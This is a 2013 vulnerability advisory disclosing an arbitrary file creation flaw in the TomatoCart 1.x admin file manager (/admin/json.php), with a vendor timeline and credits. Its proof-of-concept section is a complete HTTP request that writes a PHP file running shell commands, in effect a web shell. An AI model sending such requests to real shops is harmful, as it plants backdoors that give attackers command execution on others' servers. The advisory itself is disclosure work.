1. OVERVIEW TomatoCart 1.x versions are vulnerable to Unrestricted File Creation. 2. BACKGROUND TomatoCart is an innovative Open Source shopping cart solution developed by Wuxi Elootec Technology Co., Ltd. It is forked from osCommerce 3 as a separate project and is released under the GNU General Public License V2. Equipped with the web2.0 Technology Ajax and Rich Internet applications (RIAs), TomatoCart Team is devoted to building a landmark eCommerce solution. 3. VULNERABILITY DESCRIPTION TomatoCart 1.x versions contain a flaw related to the /admin/json.php script's failure to properly restrict created files. This may allow an attacker to create arbitrary shell script to launch further attacks on the application server. 4. VERSIONS AFFECTED Tested on 1.1.8, 1.1.5 5. PROOF-OF-CONCEPT/EXPLOIT ///////////////////////////////////////////////////////////////////// POST /admin/json.php HTTP/1.1 Host: localhost Cookie: admin_language=en_US; toCAdminID=edfd1d6b88d0c853c2b83cc63aca5e14 Content-Type: application/x-www-form-urlencoded Content-Length: 195 module=file_manager&action=save_file&file_name=0wned.php&directory=/&token=edfd1d6b88d0c853c2b83cc63aca5e14&ext-comp-1277=0wned.php&content=<?+echo '<h1>0wned!</h1><pre>';+echo `ls+-al`; ?> /////////////////////////////////////////////////////////////// 6. SOLUTION The vendor did not show commitment in hardening the application. It is recommended to use alternative shopping cart application with good track record of security fixes. 7. VENDOR Wuxi Elootec Technology Co., Ltd. 8. CREDIT Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar. 9. DISCLOSURE TIME-LINE 2012-04-22: Contacted the vendor through email 2012-04-29: Vendor replied and the vulnerability detail was sent 2013-01-04: Vulnerability not fixed 2013-01-04: Vulnerability disclosed 10. REFERENCES Original Advisory URL: http://yehg.net/lab/pr0js/advisories/%5Btomatocart1.x%5D_arbitrary_file_creation TomatoCart Home Page: http://www.tomatocart.com/ #yehg [2013-01-04] --------------------------------- Best regards, YGN Ethical Hacker Group Yangon, Myanmar http://yehg.net Our Lab | http://yehg.net/lab Our Directory | http://yehg.net/hwd